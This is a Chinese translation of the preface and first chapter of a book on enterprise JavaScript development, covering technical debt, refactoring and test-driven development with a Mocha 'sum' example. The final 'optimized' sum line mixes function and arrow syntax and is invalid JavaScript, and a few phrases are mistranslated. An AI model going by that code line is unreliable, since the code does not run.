JavaScript-企业级应用构建指南-全-
JavaScript 企业级应用构建指南(全)
原文:
zh.annas-archive.org/md5/738d55882f51bd3e22b4f99c8b5ab8cf
译者:飞龙
前言
JavaScript 疲劳症曾是 2016 年的一个流行术语,那时新的库和框架每天都在涌现。这促进了多样性,但也让开发者因为选择过多而感到疲惫。即使今天,开发者也被期望拥有使用构建工具、代码检查器、测试框架、断言库、包管理器、模块加载器、模块打包器、路由器、Web 服务器、编译器、转译器、静态类型检查器、虚拟 DOM 库、状态管理工具、CSS 预处理器和UI 框架(我可能遗漏了一些)的经验。
没有 wonder 人们发现很难开始,甚至跟上 JavaScript。许多人花费了数天时间学习十几种不同的工具,只是为了设置他们的项目。而且这还是在他们写下一行代码之前!
尽管如此,这种多样性激增确实带来了实际的好处——它使我们远离了有偏见的框架,并允许我们将应用程序定制为许多较小模块的复合体。因此,我们不应该哀叹生态系统的情况,而应该花时间学习每个工具。
如果这听起来像是一项艰巨的任务,那么这本书将为您节省大量时间。
虽然今天的大多数编程书籍都详细探讨了单个框架、库或语言,但本书为您提供了在企业环境中广泛使用的各种工具和实践的坚实基础。每一个都为构建一个可靠、生产就绪的应用程序做出了贡献。换句话说,我们关注的是广度而非深度。
我们也重视结构胜过混乱;因此,我们非常强调建立最佳实践、遵循流程、测试、基础设施和自动化。如果这些词汇激起了您的兴趣,那么这本书非常适合您。
这本书面向的对象
传统上,大多数科技公司遵循水平结构,其中开发、测试和运营被划分为不同的部门。由于它们相互依赖,每个团队只能以最慢的团队的速度工作。
然而,近年来,我们看到了向垂直****团队的转变。垂直团队是根据项目需求组建的,每个团队负责整个流程的所有阶段——从收集需求到部署。这使得团队能够完全拥有整个功能,因为他们变得自给自足,可以按自己的节奏前进。因此,许多公司要求他们的开发者掌握广泛的技能集。
因此,这本书不仅是为那些渴望学习新工具的 JavaScript 开发者而写的,也是为所有希望保持当今就业市场相关性的开发者而写的。
本书涵盖的内容
与在线博客和网站不同,实体书有页数限制。因此,我们必须在包含的工具选择上非常严谨。最终,我们根据两个标准精选了工具和框架:
-
它必须在企业环境中普遍存在。
-
它必须有很大的可能性在很长时间内保持相关性(没有炒作驱动的发展!)。
这将工具列表缩小到这些工具——Git、npm、yarn、Babel、ESLint、Cucumber、Mocha、Istanbul/NYC、Selenium、OpenAPI/Swagger、Express、Elasticsearch、React、Redux、Webpack、Travis、Jenkins、NGINX、Linux、PM2、Docker 和 Kubernetes。我们将利用这些工具构建一个简单但健壮的用户目录应用程序,该应用程序由后端 API 和前端 Web 用户界面(UI)组成。
本书分为五个部分:
-
第一章至第三章 – 提供本书其余部分背景的理论和实践概述
-
第四章至第十三章 – 开发后端 API
-
第十四章至第十六章 – 开发与 API 相连的前端 Web 应用程序
-
第十七章至第十八章 – 使用 Docker 和 Kubernetes 在可扩展的基础设施上部署我们的服务
-
第十九章至第二十章 – 解释重要的 JavaScript 概念和语法
第一部分 – 理论与实践
第一章,良好代码的重要性,解释了技术债务的负面影响,以及如何通过实施测试驱动开发(TDD)来减轻这种影响。
第二章,JavaScript 的现状,概述了从遵循客户端-服务器模型到单页应用(SPA)的演变过程,以及 JavaScript 和 Node.js 在这次转型中所扮演的角色。
第三章,使用 Git 管理版本历史,介绍了版本控制(VC)的概念。具体来说,我们将学习如何与Git、Git Flow和GitHub一起工作。
第二部分 – 开发我们的后端 API
第四章,设置开发工具,解释了 JavaScript 中的不同模块格式,包括CommonJS和ES6 模块。我们还将使用nvm
、yarn
、Babel
、nodemon
和ESLint
等工具设置我们的本地环境。
第五章,编写端到端测试,通过教授你如何使用Cucumber和Gherkin编写端到端(E2E)测试来练习 TDD。我们还将作为重构步骤的一部分将我们的 API 迁移到Express。
第六章,在 Elasticsearch 中存储数据,在我们将应用程序数据持久化到Elasticsearch,一个NoSQL 文档存储和搜索引擎的过程中继续我们的 TDD 之旅。在章节的末尾,我们还将编写一些Bash脚本来简化我们的测试过程。
第七章,模块化我们的代码,将我们的应用程序分解成更小的模块。我们还将把JSON Schema和Ajv集成到我们的验证模块实现中。
第八章,编写单元/集成测试,将教你如何使用Mocha编写单元和集成测试。为了将我们的单元测试与外部依赖项隔离,我们将重构我们的代码以遵循依赖注入(DI)模式,并使用Sinon的间谍和存根来模拟这些依赖项。最后,我们将使用Istanbul/nyc
提供测试覆盖率报告,这将帮助我们识别错误并提高代码质量。
第九章,设计我们的 API,从对表示状态转移(REST)的讨论开始——它是什么,以及它不是什么。然后,我们将检查不同类型的致性——通用、本地、横跨、领域和永久——并了解它们如何有助于提供直观的开发者体验。
第十章,在 VPS 上部署您的应用程序,提供了如何将我们的 API 部署到虚拟专用服务器(VPS)的逐步说明。你将学习如何购买域名、配置域名系统(DNS)记录、设置NGINX作为反向代理,以及使用PM2保持 Node.js 进程的活跃。
第十一章,持续集成,将持续集成(CI)管道集成到我们的开发过程中。我们首先使用一个名为Travis的托管平台,然后部署我们自己的自托管Jenkins CI 服务器。
第十二章,安全:身份验证和授权,介绍了支撑授权以及基于密码、会话和令牌的身份验证的概念。这些包括加密散列、盐和JSON Web Tokens(JWTs)。
第十三章,记录我们的 API,通过使用Swagger记录我们的 API 来完成 API 的开发。你将学习如何使用YAML编写OpenAPI兼容的规范,并使用Swagger UI可视化它们。
第三部分 - 开发我们的前端 UI
第十四章,使用 React 创建 UI,从基本原理开始讲解React,讨论诸如虚拟 DOM、纯组件和JSX等概念。在章节末尾,我们还将比较不同的模块打包器和加载器,例如Webpack、Rollup和SystemJS。
第十五章,React 中的端到端测试,利用你在上一章中学到的 React 知识来实现一个涉及 Cucumber 和Selenium以及使用无头浏览器的 TDD 工作流程。我们将遵循此流程将客户端路由集成到我们的应用程序中。
第十六章,使用 Redux 管理状态,解释了如何使用 Redux 保持应用程序状态的一致性。
第四部分 – 基础设施和自动化
第十七章,迁移到 Docker,将我们的应用程序迁移到在 Docker 容器内运行。最初,你将学习关于 控制组 和 命名空间 以及它们如何使容器工作。然后,你将编写自己的 Dockerfile 并构建和优化你的 Docker 镜像。
第十八章,使用 Kubernetes 构建健壮的基础设施,使用 Kubernetes 将我们的应用程序部署到集群中,Kubernetes 是一个结合了 发现服务、全局配置存储、调度器和负载均衡器的 集群管理工具。这确保了我们的应用程序是高可用性、可靠性、可扩展性和性能的。
第五部分 – 重要 JavaScript 概念和语法
这些是针对想要更深入理解 JavaScript 的读者提供的在线附加章节。
第十九章,JavaScript 的重要概念,提供了关于 JavaScript 最基本(也是最被忽视)原则的全面入门,包括 数据类型、原型、原型继承链、ES6 类、this
、上下文和执行上下文。
www.packtpub.com/sites/default/files/downloads/ImportantConceptsinJavaScript.pdf
第二十章,在 ECMAScript 2015+ 中编写,指导你了解 JavaScript 的新特性,如 let
/const
、默认值、解构赋值、剩余和扩展操作符、模板字符串和承诺。
www.packtpub.com/sites/default/files/downloads/WritinginECMAScript2015.pdf
未涵盖的内容
如你所知,由于这本书涵盖了所有这些工具,因此不可能对任何一项进行深入探讨。因此,我们选择了最基本的概念来涵盖,将更详细的内容留给更高级的书籍。
也有一些我们想要包含但篇幅有限的主题。值得注意的是,以下重要概念并未涵盖:
-
使用 TypeScript 或 Flow 进行静态类型检查
-
使用 Puppet/Ansible 进行配置管理
-
使用 Prometheus 和 Grafana 监控和可视化指标
-
使用 Logstash/Kafka 进行分布式日志记录
-
使用 Zipkin 进行跟踪
-
使用 Artillery 进行压力/负载测试
-
备份和灾难恢复
要充分利用这本书
我们将这本书的结构设计得如此,每一章都是基于前一章的。因此,这本书旨在按顺序阅读。
本书重点介绍 JavaScript 生态系统中的工具和框架,而不是 JavaScript 语言本身。因此,我期望本书的读者对 JavaScript 语法有一个基本的了解。
在我们介绍每个工具之前,我们将尝试回答以下问题:
-
它试图解决什么问题?
-
它在底层是如何工作的?
-
为什么我们选择这个工具而不是它的替代品?
您应该将这本书视为一个学习练习,而不是参考手册。我们希望您理解为什么需要一个工具,而不仅仅是将示例代码复制粘贴到您的终端或编辑器中。因此,在未来的某个时候,我们可能会以次优的方式实现一个功能,只是为了稍后改进它。
我们还期望您亲自动手编写大量代码。在本书的许多部分,我们将向您介绍所需的概念,引导您通过几个示例,然后让您自己实现其余部分。我们强烈鼓励您利用这个机会来练习您所学到的知识;然而,如果您遇到困难,或者渴望进入下一章,您始终可以参考书中附带的代码包。
由于生态系统快速变化的特点,许多工具在本书出版后不可避免地会引入破坏性更改。因此,一些说明可能无法按描述工作。在这种情况下,您应该阅读工具作者发布的发布说明或迁移指南;或者,您也可以在网上和问答网站上寻求帮助。在我们的方面,我们将努力保持我们托管在 GitHub 上的代码包中的包版本和说明的更新。
本书中的说明旨在在运行 GNU/Linux 的机器上运行,特别是 Ubuntu 18.04。使用其他操作系统的读者仍然可以跟随,但在设置和调试时可能需要更多努力。使用 Windows 机器的读者应将他们的计算机设置为双启动 Ubuntu 和 Windows;您可以在help.ubuntu.com/community/WindowsDualBoot找到详细说明。或者,如果您使用的是 Windows 10,您可以安装Windows Subsystem for Linux(WSL),这允许您在 GNU/Linux 上本地运行您通常期望在 GNU/Linux 中看到的命令行工具和应用程序。您可以在docs.microsoft.com/en-us/windows/wsl/找到详细说明。
最后,本书是 16 个月旅程的结晶。我在旅途中学到了很多,也增添了几缕白发。我希望您阅读这本书时能像我写作时一样享受乐趣!
下载示例代码文件
您可以从 www.packtpub.com 的账户下载本书的示例代码文件。如果您在其他地方购买了本书,您可以访问 www.packtpub.com/support 并注册,以便将文件直接通过电子邮件发送给您。
您可以通过以下步骤下载代码文件:
-
在 www.packt.com 登录或注册。
-
选择“支持”选项卡。
-
点击“代码下载与勘误”。
-
在搜索框中输入书籍名称,并遵循屏幕上的说明。
一旦文件下载完成,请确保使用最新版本的软件解压或提取文件夹:
-
WinRAR/7-Zip for Windows
-
Zipeg/iZip/UnRarX for Mac
-
7-Zip/PeaZip for Linux
本书代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Building-Enterprise-JavaScript-Applications
。如果代码有更新,它将在现有的 GitHub 仓库中更新。
我们还有其他来自我们丰富图书和视频目录的代码包可供选择,请访问github.com/PacktPublishing/
。查看它们!
使用的约定
本书使用了多种文本约定。
CodeInText
:表示文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 昵称。以下是一个示例:“将下载的WebStorm-10*.dmg
磁盘映像文件挂载为系统中的另一个磁盘。”
代码块设置如下:
{
"files": ["*.test.js"],
"env": {
"mocha": true
},
"rules": {
"func-names": "off",
"prefer-arrow-callback": "off"
}
}
任何命令行输入或输出都应如下编写:
$ npx mocha
$ npx mocha "src/**/*.test.js"
粗体 或 斜体:表示新术语、重要单词或您在屏幕上看到的单词。例如,菜单或对话框中的单词在文本中如下显示。以下是一个示例:“从管理面板中选择系统信息。”
警告或重要提示看起来像这样。
小贴士和技巧看起来像这样。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果您对本书的任何方面有疑问,请在邮件主题中提及书籍标题,并通过以下电子邮件地址customercare@packtpub.com
联系我们。
勘误:尽管我们已经尽一切努力确保内容的准确性,但错误仍然可能发生。如果您在本书中发现错误,我们将不胜感激,如果您能向我们报告,请访问 www.packt.com/submit-errata,选择您的书籍,点击勘误提交表单链接,并输入详细信息。
盗版:如果您在互联网上以任何形式遇到我们作品的非法副本,如果您能提供位置地址或网站名称,我们将不胜感激。请通过以下电子邮件地址copyright@packtpub.com
与我们联系,并提供材料的链接。
如果您有兴趣成为作者:如果您在某个领域有专业知识,并且您有兴趣撰写或为书籍做出贡献,请访问 authors.packtpub.com。
评论
请留下评论。一旦您阅读并使用过这本书,为何不在购买该书的网站上留下评论呢?潜在读者可以查看并使用您的客观意见来做出购买决定,我们 Packt 可以了解您对我们产品的看法,我们的作者也可以看到他们对书籍的反馈。谢谢!
如需了解 Packt 的更多信息,请访问 packt.com。
第一章:优质代码的重要性
区分一家好公司与一家伟大公司的因素之一就是他们的流程。在一家伟大的公司中,每个人都清楚自己应该做什么,可以期待别人做什么,公司的愿景以及工作场所的哲学。有了这个基础,员工就有自由发挥创造力和创新,在公司设定的流程和边界内工作。
当没有流程时,就会陷入混乱。开发者不知道该期待什么——需求和要求是否已经文档化?我能在哪里找到它们?他们也不会理解对他们的期望——我需要编写测试吗?这是一个概念验证(PoC)吗?我应该测试哪些边缘情况?没有流程,经理和开发者将浪费时间去追逐需求和澄清,这让他们更少的时间去发挥创造力和创新,从而在自己的工作中表现出色。
最终,混乱的环境会导致产品质量降低。在技术方面,将会有更多的技术债务——需要以后修复的 bug 和不效率。产品团队也会受到影响,因为能交付的功能会更少。
对于这些公司来说,最好的改进方式就是通过在技术层面上实施测试驱动开发(TDD),以及在管理层面上采用敏捷原则和/或实施Scrum框架来简单地开始实施稳健的过程。在本章中,我们将重点关注技术方面——实施 TDD。具体来说,我们将涵盖以下内容:
-
技术债务是什么?
-
技术债务的原因和后果是什么?
-
通过实施 TDD 减少技术债务
技术债务
软件工程 Stack Exchange(softwareengineering.stackexchange.com/
)网站上最受欢迎的问题之一是:
“我 90%的时间在做维护,10%的时间在做开发,这是正常的吗?”
虽然这永远不应该被视为正常,但对于许多开发者来说,这是他们的现实。那么,为什么这么多项目最终会陷入不可维护的状态呢?毕竟,每个项目都是从一张白纸开始的。
有些人可能会说这是因为大多数程序员天生懒惰,但大多数人也都为自己的工作感到自豪,并重视质量胜过速度。其他人可能会说这是因为开发者能力不足,但即使是雇佣了非常才华横溢的技术团队的公司也会成为受害者。
我的理论是,在漫长的开发过程中,很容易在过程中做出小的让步,牺牲代码质量以节省其他资源,通常是时间。例如,你可能为了赶工期而停止编写测试,或者因为你的经理向你保证项目只是一个原型或最小可行产品(MVP)而放弃重构。这些小的让步逐渐积累。很多时候,截止日期变得越来越不合理,而 MVP 变成了公司的旗舰产品。这就是我们在这个世界上有这么多难以维护的项目的原因。
“今天的大多数软件非常像一座埃及金字塔,上面堆叠着数百万块砖头,没有结构完整性,只是通过 brute force 和成千上万的奴隶完成的。”
– Alan Kay,Smalltalk 的创造者
这些妥协,虽然当时看起来很小,但对之后编写的代码有连锁反应。这种累积效应被描述为技术债务的隐喻,它利用了金融债务的类比,其中你在现有债务上产生复利。
什么是技术债务?
技术债务是由美国计算机程序员 Ward Cunningham 创造的一个隐喻:
“一点债务可以加快开发速度,只要它能及时通过重构偿还……危险在于债务没有偿还。在不太正确的代码上花费的每一分钟都算作债务的利息。”
例如,如果你想开始自己的生意,但没有足够的个人储蓄,你可能会选择向银行贷款。在这种情况下,你现在承担了一小笔债务,以便在将来你的生意盈利时获得更大的回报。
同样,你可能会决定承担一些技术债务,以抓住先发优势(FMA),在竞争对手进入市场之前推出一个功能。债务的形式是编写不良的代码;例如,你可能会把所有内容都写在一个文件中(俗称大杂烩),没有任何模块化或测试。
在这两种情况下,债务都是基于预期将来会以利息的形式偿还。
对于开发来说,偿还债务的形式是重构。这是将编写不良的代码修订到可接受标准的过程,需要重新投资时间和人力。通过承担技术债务,你实际上是在现在以适度的开发速度提升换取未来的显著下降。
问题在于债务没有足够快地偿还。在某个时候,项目维护的工作量如此之大,以至于无法添加更多功能,企业可能会选择进行完全的重写。
技术债务的原因
在我们讨论如何应对技术债务之前,让我们首先考察一些最常见的原因:
-
缺乏人才:缺乏经验的开发者可能不会遵循最佳实践,编写不干净的代码。
-
时间不足:设定不合理的截止日期,或者在不分配额外时间的情况下添加新功能,意味着开发人员没有足够的时间遵循编写测试、进行代码审查等正确流程。
-
士气低落:我们不应忽视开发的人类方面。如果需求经常变化,或者要求开发人员加班,那么他们不太可能产出优质的工作。
所有这些原因都很容易得到缓解。缺乏经验的开发人员问题可以通过导师制、代码审查和一般培训来解决。通过提供更好的工作环境,可以缓解士气问题。缺乏时间的问题可以通过将项目范围缩小到更可实现的目标来解决;这可能意味着将非必要功能推迟到后续阶段。除此之外,企业可以雇佣更多员工和/或外包定义明确的模块的开发给外部承包商。
真正的问题在于不愿意解决技术债务,因为技术债务的最大原因是现有的技术债务。任何依赖于糟糕代码的新代码很快就会成为技术债务的一部分,并产生后续的债务。
债务螺旋
当你与产品经理或企业主交谈时,他们中的大多数都理解技术债务的概念;然而,我遇到的大多数经理或企业主也倾向于高估短期回报并低估长期后果。他们认为技术债务就像银行发放的个人贷款,年利率约为 3%的年化百分比率(APR);实际上,它更像是一种收取 1500% APR 的工资日贷款。
事实上,债务隐喻并不完全准确。这是因为,与正式的贷款不同,当你产生技术债务时,你实际上不知道利率或还款期限。
技术债务可能需要一周的重构时间,你可以无限期地推迟,或者它可能在你几天后花费你几个月的时间。技术债务的影响很难预测和量化。
此外,没有保证通过产生债务,当前的一组功能实际上会更快完成。通常,技术债务的后果几乎是立即的;因此,通过匆忙,它实际上可能会在同一个开发周期内减慢你的进度。技术债务短期收益的预测和量化非常困难。从这个意义上说,产生技术债务更像是赌博而不是贷款。
技术债务的后果
接下来,让我们来探讨技术债务的后果。其中一些是显而易见的:
-
开发速度将减慢
-
需要更多的人力(以及因此的钱)和时间来实现同一组功能
-
更多的错误,这进而意味着用户体验更差,以及需要更多人员进行客户服务
另一方面,技术债务的人为成本往往被忽视;因此,让我们在这里花些时间讨论它。
技术债务导致士气低落
大多数开发者都想在可以开发新功能的绿色地带项目中工作,而不是继承充满错误和技术债务的遗留棕色地带项目。这可能会降低开发者的士气。
在某些情况下,那些在棕色地带项目上工作的人甚至可能对在绿色地带项目上工作的同事表现出敌意。这是因为新的框架、库和范式最终会取代旧的,使它们过时。那些在遗留项目上工作的人知道他们发展的技能在几年后将变得毫无价值,这使得他们在就业市场上竞争力降低。相比之下,他们的同事在更现代的框架上获得了宝贵的经验,这将增加他们的市场价值。我无法想象一个开发者会高兴地知道他们的技能正变得越来越不相关。
此外,拥有技术债务可能会在开发者和他们的经理之间引发关于最佳还款时间的分歧。通常,开发者要求立即还款,而(缺乏经验的)经理可能会试图将其推迟。
总体而言,项目中有技术债务往往会降低其开发者的士气。
低士气的后果
反过来,低士气会导致以下情况:
-
低生产力:缺乏动力的开发者更有可能工作速度慢,休息时间更长,并且对业务参与度低。
-
低代码质量:开发是一个创造性的过程——实现一个功能的方式不止一种。士气低落的开发者不太可能愿意找出最佳方法——他们只会选择最省力的方法。
-
高离职率:不快乐的开发者会寻找更好的工作,导致公司员工的高流动率。这意味着为培训开发者和将其融入团队所投入的时间是浪费的。此外,它可能导致其他员工对公司失去信心,从而产生连锁反应,导致人员流失。
一些管理者可能会辩称,业务不应对其开发者的幸福负责——他们支付他们工资是为了产生工作和价值,而不是为了快乐。虽然这是真的,但经验丰富的项目经理应该记住,一个开发团队不是一个机器——它由人组成,每个人都有自己的抱负和情感。因此,经理在做出商业决策时,明智的做法是考虑技术债务的人为成本。
通过重构来偿还技术债务
尽管技术债务有负面影响,但承担技术债务往往是不可避免的。在这种情况下,你必须确保决策是知情和有意识的,并记住尽快偿还债务。那么我们实际上是如何偿还债务的呢?我们通过重构——或者使我们的代码更干净——不改变现有行为来偿还债务。
虽然没有关于干净的正式定义,但以下是一些干净代码的迹象:
-
结构良好:代码应由模块组成,模块之间由领域分隔
-
文档齐全:例如,包括单元测试、内联注释、自动生成的文档和
README
文件 -
简洁:简洁,但不要达到混淆的程度
-
格式良好且易于阅读:其他开发者必须能够审查和在此代码库上工作,因此它应该易于理解,并且不应偏离既定的良好惯例太远
随着你经验的增加,你将能够检测到偏离这些迹象的代码。在编程中,我们称这些偏差为代码恶臭。代码恶臭是违反既定设计原则、范式和模式的代码中的弱点。虽然它们本身不是错误,但它们可能会减慢开发速度,并使代码库更容易出现错误。
因此,重构只是一个将当前代码库从有很多代码恶臭转变为更干净的过程。正如我们之前提到的,实现相同结果的方法不止一种,开发者需要富有创造力,并找出解决出现问题的最佳解决方案。
这里的重要点是开发者应该有时间进行重构;换句话说,重构应该是开发过程的核心部分,并包含开发者提供的时间估计中。
预防技术债务
预防胜于治疗。与其承担技术债务,不如从一开始就避免它?在这里,我们概述了一些你可以采用的简单策略来预防技术债务。
通知决策者
大多数决策者,尤其是那些没有技术背景的人,大大低估了技术债务的影响。此外,在他们看来,开发者并不理解偿还技术债务在人力、薪资和时间方面的商业成本。
因此,对于专业开发者来说,理解决策者的视角以及他们必须在其中工作的约束非常重要。其中一个最相关的模型是三重约束模型。
三重约束
经典的项目管理三角形(也称为三重约束或铁三角)提出了流行的说法“时间、质量、成本”。选择两个。三角形如下所示:
三重约束是项目管理中用于可视化任何项目约束的一个模型,并考虑如何优化一个区域会导致另一个区域受损:
-
时间和质量:你可以在短时间内设计和构建一个高质量的平台,但你需要雇佣很多经验丰富的开发者,这将很昂贵。
-
时间和成本:你可以用几个缺乏经验的开发者快速构建一个平台,但质量会很低。
-
质量和成本:你可以让一些缺乏经验的开发者设计和规划一个平台,这将是一个高质量的平台,但需要花费很长时间,因为他们需要时间来学习原则并应用它们。
大多数企业主要受时间和成本的限制:时间上,因为产品未能按时推出,竞争对手就有更大的机会推出类似产品并抢占先发优势(FMA);成本上,因为公司在产品不产生任何收入的同时,仍需支付员工薪水。
为了加剧这个问题,许多经理和商业所有者更关注可触摸的、即时的结果,而不是长期回报。因此,当面临选择时,大多数决策者会选择时间和成本而不是质量。
三重约束的谬误
这里的谬误在于,通过忽视质量和累积债务,他们最终会大大增加时间和成本需求。
因此,开发者的责任是向产品经理和商业所有者告知累积技术债务的不可预测影响,为他们提供所有所需的信息,以便做出明智的决定。你可能想从积极的角度来处理这个问题——清理技术债务将允许未来开发新功能更快完成。
这样做是为了防止最坏的情况发生,即修复代码所需的努力大于从头开始重写。
拒绝开发
如果代码库糟糕到接近无法修复(这是军事俚语“Fucked Up Beyond Any Repair”的变体),那么一个更极端的方法可能是拒绝进一步开发,直到重构完成。考虑到你冒犯的是支付你薪水的人,这可能会显得有些极端。虽然这是一种逃避责任的方法,但这并不是专业开发者应该做的事情。
用罗伯特·C·马丁的《代码整洁之道》中的一个类比来重新表述:假设你是一名医生,一位患者要求你为他/她进行心脏手术以缓解喉咙痛,你会怎么做?当然,你会拒绝!患者不知道什么最适合他们,这就是为什么他们必须依赖你的专业意见。
同样,大多数业务所有者不知道从技术上讲什么最适合他们,这就是为什么他们雇佣你来为他们的业务做出最佳的技术决策。他们付钱给你不仅仅是为了编码;他们付钱给你是因为他们希望你能为业务带来价值。作为一名专业人士,你应该考虑你的行为对业务是有益还是有害,无论是短期还是长期。
业务所有者也需要信任他们的开发者的建议。如果他们不尊重他们的专业意见,那么他们最初就不应该雇佣他们。
不要成为英雄
然而,不合理要求的责任并不总是业务所有者的错;承诺这些要求的开发者同样有责任。
记住,业务所有者或你的经理的角色是尽可能多地从你这里得到东西。但更重要的是,你有责任告诉他们什么可行什么不可行;因此,当被要求在无法保证质量的情况下在截止日期前完成功能时,不要接受这个截止日期。
你可能认为业务会因为你走得更远,使不可能变为可能而感激你,但这一想法有四个问题:
-
你可能实际上无法按时完成这个功能,而业务已经制定了一个依赖于该截止日期的策略。
-
你已经向经理表明你愿意接受这些截止日期,因此他们下次可能会设定更紧的截止日期,即使他们不需要这么做。
-
赶进度编写代码很可能会累积技术债务。
-
你的同事开发者可能会怨恨你,因为他们可能不得不加班以跟上你的进度;否则,他们的经理可能会认为他们工作缓慢。这也意味着他们不得不在你赶进度编写的代码之上进行开发,使得日常工作变得不那么愉快。
有时候需要挺身而出拯救一家企业,但如果你做得太过频繁,实际上是在伤害团队。危险在于你或业务所有者都没有意识到这一点;事实上,你甚至可能会天真地庆祝取得的快速进展。
解决这个问题的方法是管理业务所有者的期望。如果你认为有 50%的几率能够按时完成乐观的截止日期,那么请要求进一步缩小范围,直到你对自己的估计更有信心。从经验来看,业务所有者宁愿提前一个月听到“不可能”而不是未能实现的“一切都会完成”的承诺。
定义流程
这让我回到了定义和记录流程的话题。好的代码始于良好的规划、设计和管理,并由良好的流程维护。许多之前概述的问题可以通过明确说明以下问题来减轻:
-
在某些情况下,累积技术债务是合适的,例如,为了满足法律要求,如 GDPR 合规性。
-
开发者可以期待获得时间来偿还这些债务的场合,例如,在开始下一个功能之前,或在每个季度的最后两周。
-
例如,在团队中,绿色场/棕色场项目的工作分配,可以通过轮换制度进行。
-
完成定义 – 一系列必须满足的标准,在功能被视为“完成”之前,例如,代码通过所有测试并经过同行评审,以及文档已更新。
软件开发范式,如敏捷和瀑布,以及它们的实现,如Scrum和看板,提供了不同的方式来定义和执行这些流程。例如,在 Scrum 中,开发是在短周期内进行的(通常是每周和四周),称为冲刺。每个冲刺开始时,会举行会议来审查待办任务并选择本冲刺要解决的问题。每个冲刺结束时,会举行一个回顾会议来审查冲刺进度,并确定可以应用于后续冲刺的教训。
虽然这些范式和方法在软件开发中很流行,但它们与任何技术流程都没有耦合。相反,它们处理整个开发过程,包括收集需求规格、与客户沟通、设计、开发和部署。
因此,对开发者来说,更相关的是开发技术,这些技术指定了开发者应该如何开发一个功能。最突出的技术是 TDD。
测试驱动开发
测试驱动开发(Test-Driven Development,简称 TDD)是由 Kent Beck 创建的一种开发实践,它要求开发者在实现功能之前先编写测试用例。这提供了一些直接的好处:
-
它允许你验证你的代码是否按预期工作。
-
如果你先编写测试用例,然后运行它,并且它没有失败,那么这就是一个提示你再次检查测试的机会。这可能是你无意中偶然实现了这个功能,也可能是你的测试代码中存在错误。
-
由于现有功能会被现有测试覆盖,它允许测试运行者在新的代码破坏了之前功能正常运行的代码时通知你(换句话说,检测到回归)。这对于开发者来说尤为重要,当他们继承他们不熟悉的旧代码库时。
因此,让我们来探讨 TDD 的原则,概述其过程,并看看我们如何将其纳入我们的工作流程。
TDD 有不同的风格,例如验收测试驱动开发(ATDD),其中测试用例反映了业务设定的验收标准。另一种风格是行为驱动开发(BDD),其中测试用例用自然语言表达(也就是说,测试用例是可读的)。
理解 TDD 过程
TDD 包括以下步骤的快速重复:
-
识别你特性中最小未实现的功能单元。
-
识别一个测试用例并为它编写测试。你可能想要有覆盖 happy path(默认场景,不产生错误或异常)以及 unhappy paths(包括处理 边缘情况)的测试用例。
-
运行测试并查看它失败。
-
编写最少的代码使其通过。
-
优化代码。
例如,如果我们想构建一个数学实用库,那么我们的 TDD 循环的第一个迭代可能看起来像这样:
在这里,我们使用 Node 的 assert
模块,以及 Mocha 测试框架提供的 describe
和 it
语法。我们将在第五章 Writing End-to-End Tests 中详细说明它们的语法。同时,你可以简单地将以下测试代码视为伪代码。
-
选择一个特性:在这个例子中,让我们选择
sum
函数,它只是简单地将数字相加。 -
定义一个测试用例:当使用
15
和19
作为参数运行sum
函数时,它应该返回34
:
var assert = require('assert');
var sum = require('sum');
describe('sum', function() {
it('should return 34 when 15 and 19 are passed in', function() {
assert.equal(34, sum(15, 19));
});
});
-
运行测试:它失败了,因为我们还没有编写
sum
函数。 -
编写代码:编写一个
sum
函数,使其能够通过测试:
const sum = function(x, y) {
return x + y;
}
- 优化:不需要优化。
这完成了 TDD 流程的一个循环。在下一个循环中,我们将对同一个函数进行工作,但定义额外的测试用例:
-
选择一个特性:我们将继续开发相同的
sum
函数。 -
定义一个测试用例:这次,我们将通过提供三个参数,
56
、32
和17
,来测试它,我们期望得到的结果是105
:
describe('sum', function() {
...
it('should return 105 when 56, 32 and 17 are passed in', function() {
assert.equal(105, sum(56, 32, 17));
});
});
-
运行测试:它失败了,因为我们的当前
sum
函数只考虑了前两个参数。 -
编写代码:更新
sum
函数以考虑前三个参数:
const sum = function(x, y, z) {
return x + y + z;
}
- 优化:通过使函数能够处理任意数量的参数来改进函数:
const sum = function(...args) => [...args].reduce((x, y) => x + y, 0);
注意,只传递两个参数仍然可以工作,所以原始行为没有改变。
一旦完成足够多的测试用例,我们就可以继续到下一个函数,比如 multiply
。
修复错误
通过遵循 TDD,错误数量应该会大幅减少;然而,没有任何流程可以保证代码无错误。总会有些边缘情况被忽略。之前,我们概述了实现新特性的 TDD 流程;现在,让我们看看如何将同样的流程应用于修复错误。
在 TDD 中,当遇到错误时,它被处理得和新增特性一样——你首先编写一个(失败的)测试来重现错误,然后更新代码直到测试通过。将错误作为测试用例记录下来确保错误在未来得到修复,防止回归。
TDD 的好处
当你刚开始学习编码时,没有人是从编写测试开始的。这意味着对于许多开发者来说,代码中有测试是一个事后考虑的事情——如果时间允许,那是一种奢侈。但他们没有意识到的是,每个人都会测试他们的代码,无论是有意还是无意。
在你编写了一个函数之后,你怎么知道它是否工作?你可能打开浏览器控制台并使用一些虚拟测试参数运行函数,如果输出符合你的预期,那么你可能会假设它正在工作。但你所做的是实际上手动测试了一个已经实现的函数。
手动测试的优势在于它不需要前期成本——你只需运行函数并查看它是否工作。然而,缺点是它不能自动化,从长远来看会消耗更多时间。
避免手动测试
相反,你应该将这些手动测试正式定义为代码,形式为单元测试、集成测试和端到端测试(E2E)等。
正式定义测试的初始成本较高,但好处是测试现在可以自动化。正如我们将在第五章中讨论的,“编写端到端测试”,一旦测试被定义为代码,我们就可以使用npm 脚本在代码每次更改时自动运行它,使得未来运行测试的成本几乎为零。
事实是,你无论如何都需要测试你的代码;这只是一个选择,是现在投资时间自动化它以节省未来的时间,还是现在节省时间但未来在手动重复每个测试上浪费更多时间。
迈克·科恩(Mike Cohn)提出了测试金字塔的概念,它表明一个应用程序应该有很多单元测试(因为它们运行速度快且成本低),较少的集成测试,以及更少的 UI 测试,这些测试需要最多的时间和成本来定义和运行。不言而喻,手动测试应该在单元、集成和 UI 测试彻底定义之后进行:
测试作为规范
虽然避免手动测试是 TDD 的好处之一,但它绝对不是唯一的。开发者在实现功能后仍然可以编写他们的单元、集成和端到端测试。那么在实现之前编写测试的好处是什么?
答案是它迫使你思考你的需求并将它们分解为原子单元。然后你可以围绕一个特定的需求编写每个测试用例。最终结果是测试用例构成了你功能的规范。先编写测试有助于你围绕需求来结构化代码,而不是将需求适应到代码中。
